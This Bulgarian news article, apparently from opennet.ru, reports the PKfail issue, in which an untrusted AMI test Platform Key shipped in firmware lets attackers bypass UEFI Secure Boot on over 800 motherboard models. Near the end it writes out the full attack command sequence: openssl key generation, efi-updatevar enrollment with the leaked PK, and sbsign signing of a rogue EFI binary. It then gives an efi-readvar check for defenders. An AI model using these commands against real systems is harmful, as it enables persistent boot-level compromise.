В 806 модела на дънни платки е открит тестов ключ, който позволява заобикаляне на UEFI Secure Boot

Изследователи по сигурността от компанията Binarly откриха възможност за заобикаляне на режима на проверена инсталация UEFI Secure Boot на над 800 продукта, издадени от компаниите Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo и Supermicro. Проблемът получи кодово име PKfail и е свързан с използването на ненадежден платинен ключ (PK, Platform Key) в фърмуерите, генериран от AMI (American Megatrends International) и предоставен като тестов пример. Най-старите фърмуери, в които е използван тестовият ключ, са издадени през 2012 г., а най-новите датират от юни 2024 г. Според данните на изследователите, над 10% от всички проверени фърмуери са засегнати от проблема.

В параметрите на ключа беше посочено, че той не е надежден и не трябва да бъде доставян в продуктите им. Предполагаше се, че този тестов ключ трябва да бъде заменен с собствен, но производителите не обърнаха внимание на предупреждението и използваха в крайните фърмуери типичния общ ключ, изпращан на всички партньори и клиенти на AMI.

Частта от тестовия ключ на AMI, необходима за създаване на цифрови подписи, стана публично достояние след изтичане на информация от един от производителите на оборудване, служител на когото случайно качи в публично хранилище в GitHub код, съдържащ този ключ. Закритият ключ беше разположен в криптиран файл, за шифроването на който беше използвана лесна 4-символна парола, която лесно беше подбрана чрез метод на груба сила.

Платформеният ключ се използва като корен на доверие за удостоверяване на бази данни с ключове за Secure Boot. Получаването на закритата част на платформения ключ води до компрометиране на цялата верига на доверие, участваща в проверката на валидността на компонентите на зарежданската система — знаейки платформения ключ, може да се заобиколи защитата на Secure Boot и да се организира внедряване на собствени компоненти чрез манипулация на ключа KEK (Key Exchange Key) и базите данни „db“ (Signature Database) и „dbx“ (Forbidden Signature Database). KEK отговаря за създаването на верига на доверие между фърмуера и операционната система, „db“ съдържа сертификати и подписи за зареждача и странични компоненти UEFI, а „dbx“ включва отменени подписи на известни злонамерени компоненти.

За да извършите атака, е достатъчно да генерирате нови ключове и сертификати за KEK и db, след което да използвате тестовия ключ на платформата, който е достъпен публично, за да заредите KEK сертификата в UEFI фърмуера. След като KEK сертификатът бъде зареден в фърмуера, можете да използвате свързания с него частен ключ за зареждане на новия сертификат в БД db. След зареждане на сертификата db, свързаният с него частен ключ може да се използва за подписване на зарежданите EFI компоненти. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "\/CN=BRLY KEK\/" -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "\/CN=BRLY db\/" -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign —key db.key —cert db.crt —output rogue.efi.signed rogue.efi

За да проверите правилността на ключа на платформата, е достатъчно да стартирате утилитата „efi-readvar -v PK“ от пакета efitools и да се уверите, че ключът на платформата не е тестов: efi-readvar -v PK Променлива PK, дължина 862 PK: Списък 0, тип X509 Подпис 0, размер 834, собственик 26dc4851-195f-4ae1-9a19-fbf883bbb35e Субект: CN=DO NOT TRUST — AMI Test PK Издател: CN=DO NOT TRUST — AMI Test PK

Източник: opennet.ru